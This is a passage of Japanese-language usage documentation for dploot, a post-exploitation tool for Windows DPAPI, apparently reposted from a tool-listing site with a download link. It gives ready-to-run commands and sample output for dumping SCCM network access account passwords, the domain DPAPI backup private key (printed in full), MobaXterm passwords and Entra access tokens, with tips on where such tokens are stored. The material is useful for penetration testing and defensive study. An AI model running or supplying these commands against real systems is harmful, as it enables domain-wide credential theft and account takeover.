sccm コマンドは、リモートターゲットから NAA 資格情報、コレクション変数、タスクシーケンス資格情報を取得し、1 つ以上の {GUID}:SHA1 を含む -mkfile FILE を使用してそれらを復号化します。そうでない場合、dploot は DPAPI_SYSTEM LSA シークレットキーをダンプし、マシンのマスターキーを復号化して、見つかった暗号化された DPAPI プライベートキーブロブを復号化します。-wmi を使用すると、WMI リクエスト結果から SCCM シークレットをダンプします。```text $ dploot sccm -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14 [*] Connected to 192.168.56.14 as waza.local\jsmith (admin)

[*] Triage SYSTEM masterkeys

{c1027a5b-0dcc-4237-af05-19839a94c12f}:fda0c774f6a8ff189ef2759a151f2c6bcf6a4d46 {e1a73282-709b-4717-ace0-00eecb280fcc}:cdb4c86722b50cecf87cf683c6d727f36d760dba {6fbe7c89-9810-4ce3-b841-f0f1dd8b46e6}:1fb57eb358ea26c617d39ce04c5feb613ab10b89 {750630e8-b603-4d43-941e-6f756073e511}:f9fd650d02a09e92069c54465455feeea12f0049

[*] Triage SCCM Secrets

[NAA Account] Username: NAAAccount Password: Password!123

[snip]

root@kitploit:~
#### backupkey

**backupkey** コマンドは、[MS-LDAD](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-lsad/1b5471ef-4c33-4a91-b079-dfcbb82f05cc) を使用してドメインコントローラーからドメイン DPAPI バックアップキーを取得します。このキーは決して変更されず、任意のドメインユーザーの DPAPI で保護されたシークレットを復号化できます。ドメイン管理者権限が必要です。

デフォルトでは、このコマンドはドメインバックアップキーを key.pvk というファイルに書き込みますが、`outputfile` フラグで変更できます。また、`legacy` フラグを使用してレガシーバックアップキーをダンプすることも可能です。```text
$ dploot backupkey -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.20
[*] Connected to dc01.waza.local as waza.local\e.cartman (admin)

[DOMAIN BACKUPKEY V2]

PVK_FILE_HDR
dwMagic: {2964713758}
dwVersion: {0}
dwKeySpec: {1}
dwEncryptType: {0}
cbEncryptData: {0}
cbPvk: {1172}
PRIVATEKEYBLOB:{1ef1b5b000000000010000000000000000000000940400000702000000a4000052534132000800000100010081a511b5e41ad9563aff9f591ba61bec76ba09859750b0bcbeff2ef26f06b1a85b6b763623249890587cee80495ad02c3c1554abf9eb472da753531186d1a58dc853ac85a31dc14348a477b1555e8f882a3c4543098896fe7523dabbfed2bda09a9cf86fdc017bb86375eec8058953193a58f8896c0c6f622da40cfee5f4734b07458176c3aa8ff1cbe3eaf6faa97d774c68f82b59a635d2e671d5e658bab75f7e6ca2d9c04bb5bf2aa18b13cb4b18951be73f0ec16e3e5d8e8caee9ab26d44e365b3669ccb03c1f2d25f24f6a7f2ac116975a9b58662c1aed40af1d0277b78dab978de25f7aaf09596b869fa5b7762c7f63b5ad0b8611826f79e37a252123f06f4cd136b5919607c768ebe59e1001952ae9bb74bb4462ffb5059473b836d8ca287bc0c01653d28da74798be1c867d364158d8fc3acbe287efe88ea24359b7cffa5b02fd61840a6b786ba33cf842e80231ded169eeb6bc582cb174a17f4dfdf25e7fdcd399f6dab6b62e91cdebaa882797b449bd591a5e189bc86ffc535771f60f05b0e4136d6e64c33adbd572e0c83b7762b0b5e81f36a9bc41c0445c652ddd4012d92839806a594af1b2abf392cbe052f585a69565d8ef23df0df41fdafbaa587cdda27c7a818590d48b75672c6459dc7a865fb69eaa0243c988d6a512bf2c6e24ddfdd1025a588a128cf981f2ed9370781b0f1a0c6ff1f4cccf22163073f9457f91d7fa2bd412bd8ce8d595ed1df2ea2ca1b9f02f0edba7a07ffddb81a6f2847a54ba0b1b8a6f78df0f5f2b29a347ce9b7b6f59e50c3828bfdefbba442f171c4c334c85ab7db48c6e4fd9acbd7d97e2ef59c56ad171b152c600977f6a19d8548ce931035995b5a3f6f70e2a4ac39ab071e39f8235ec3f238ac0017f71cbc4f52891d47ebb5114be9417a8d6a811a5c07025aa223fc6ac3dee729762ff1b34dab65cdce2a69887122d86054a03224fe9e982ad1071840ecdd18ebe3fc3eafa242d4a7bb917282fc2f157c6a9acef01871f70887e31e5b272fd20f39cf0256d96dde7f5380afca01917e57d04d11efa2e39051ca87ab61fd13e07555c8ab1137a8d916202ccd99b70c8ed080188fbf6691d621309441ac407865f985e44c5a2876a33f72a2bdef444b65d087eb150d8e83e9dc2eac198f0f3b9da26a32f2ba4d6b448ab4437778b74ecff7e94aae1020b2773469f80021ec4baaa202d859a21da601f3eff77b599f2249cc2e92019b97defbd2786599a9c331032db72356daec1236f703a6649aa5bc3eeef57177d9bb08d00844a573eb8fc356a36ffda43b2d790836a00fe632b124f280925bc13f1e60326ef0da237f2aaae721c0ffec02b84d09fe9f59d6aa68d19c61c9a794a0746ebe0d03af7563efa7ffef80462d10e30d65f2a9a75f44eba7b5222cffc49f331dc9f74bca51819e2b061ac558cc397bbf42e94ccb39625a584deb549eaf34dcfc2ecd9c9c0b0c2f65d4b6966d9e60a7a1c17c1848e7c7d7d4cd0054ad78a4991dbc8771aba7f26058fef848fd49fff622eed23e0dfcb453e178c189ae609cdb1aa2b1e4d4a8182c6dcd735581690d6fb52e5bddff1b37419cad1f84921235d5fa1e192c71bbada85527a14e7e06c53}


[-] Exporting domain backupkey to file key.pvk

mobaxterm

mobaxterm コマンドは、ハイブ (HKU) から MobaXterm のシークレットとマスターパスワードキーを抽出し、1つ以上の {GUID}:SHA1 を含む -mkfile FILE、または user:password の組み合わせを含む -passwords FILE、user:nthash の組み合わせを含む -nthashes、あるいはマスターキーを最初に復号化するための -pvk PVKFILE を使用して復号化します。リモートターゲットにユーザーが接続されていない場合、dploot は NTUSER.dat をダウンロードしてシークレットを抽出します。

pvk を使用する場合:```text dploot mobaxterm -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14 -pvk key.pvk [*] Connected to 192.168.56.14 as waza.local\jsmith (admin)

[*] Triage ALL USERS masterkeys

{6dedb662-3f3c-43a7-bfc4-e2990a48d4dd}:32c4eeeac475910a33f531b56cf9d73f35490d5e {21f17bcd-eac1-4187-9538-a744f2c6e17b}:198eba83e088a59fd75e6435b38804d4973a2c1e

[*] Triage MobaXterm Secrets

[MOBAXTERM CREDENTIAL] Name: TEST Username: user Password: waza1234

[MOBAXTERM PASSWORD] Username: mobauser@mobaserver Password: 309554moba231082pass322883

root@kitploit:~
### wam

**wam** コマンドは、Token Broker Cache から TBRES ファイルを検索し、`-mkfile FILE`(1つ以上の {GUID}:SHA1)、`-passwords FILE`(user:password の組み合わせ)、`-nthashes`(user:nthash の組み合わせ)、または `-pvk PVKFILE`(最初にマスターキーを復号化する)を使用してコンテンツを復号化します。

`pvk` の場合:```text
dploot wam -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14 -pvk key.pvk
[*] Connected to 192.168.56.14 as waza.local\jsmith (admin)

[*] Triage ALL USERS masterkeys

{d5efdaf1-9fd9-44e7-8bd1-7e017d458c14}:a7eac2a750069aa576e1e9f03f1dc37b2057adb3
{13405569-1685-49c7-90e2-0e7ce55e5b8b}:ab1b23d3380c53ac1dae1cdf62bc44b4db391bb9

[*] Triage Office Token Broken Cache for ALL USERS

[TBRES FILE]
Version: 1
expiration: 133668881920000000
responses: b'\x8aC\xed\x9f\xf4\xe6D!\x0c\x82\x86)\xab\x1d\xf9\xac'
WTRes_Token: access_token=eyJhb[...]

Tips: Entra ユーザーの Microsoft アクセストークンは TBRES ファイルで見つけることができます。

blob

blob コマンドは、-mkfile FILE による1つ以上の {GUID}:SHA1、-masterkey {GUID}:SHA1、または -passwords FILE による user:password の組み合わせ、-nthashes による user:nthash の組み合わせ、あるいは -pvk PVKFILE を使用して最初にマスターキーを復号化し、DPAPI blob を復号化します。

pvk を使用する場合:```text dploot blob -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14 -pvk key.pvk -blob 'AQAAANCMnd8BF[...]' [*] Connected to 192.168.56.14 as waza.local\jsmith (admin)

[*] Triage ALL USERS masterkeys

{d5efdaf1-9fd9-44e7-8bd1-7e017d458c14}:a7eac2a750069aa576e1e9f03f1dc37b2057adb3 {13405569-1685-49c7-90e2-0e7ce55e5b8b}:ab1b23d3380c53ac1dae1cdf62bc44b4db391bb9

[*] Trying to decrypt DPAPI blob

[BLOB] Version : 1 (1) Guid Credential : DF9D8CD0-1501-11D1-8C7A-00C04FC297EB MasterKeyVersion : 1 (1) Guid MasterKey : 13405569-1685-49C7-90E2-0E7CE55E5B8B Flags : 0 () Description : CryptAlgo : 00006603 (26115) (CALG_3DES) Salt : b'a5a15df8f0fb606897f28966dd5fcd9e' HMacKey : b'' HashAlgo : 00008004 (32772) (CALG_SHA) HMac : b'80b2dc6cee8d206d5dc5a9ef844f000a' Data : b'5ece8ce1dd8[...]

Data decrypted : b'0\x00\x00\x00\x01\x00\x00[...]'

root@kitploit:~
***Tips***: *EntraユーザーのMicrosoftアクセストークンはTBRESファイルにあります。*

## クレジット

これらのプロジェクトは、このツールの作成に大いに役立ちました:

- [Impacket](https://github.com/SecureAuthCorp/impacket)(コミュニティ作)
- [SharpDPAPI](https://github.com/GhostPack/SharpDPAPI)([Harmj0y](https://twitter.com/harmj0y) 作)
- [Mimikatz](https://github.com/gentilkiwi/mimikatz/)([gentilkiwi](https://twitter.com/gentilkiwi) 作)
- [DonPAPI](https://github.com/login-securite/DonPAPI)([LoginSecurite](https://twitter.com/LoginSecurite) 作)
- [WAMBam](https://github.com/xpn/WAMBam)([_xpn_](https://twitter.com/_xpn_) 作)
ツールをダウンロード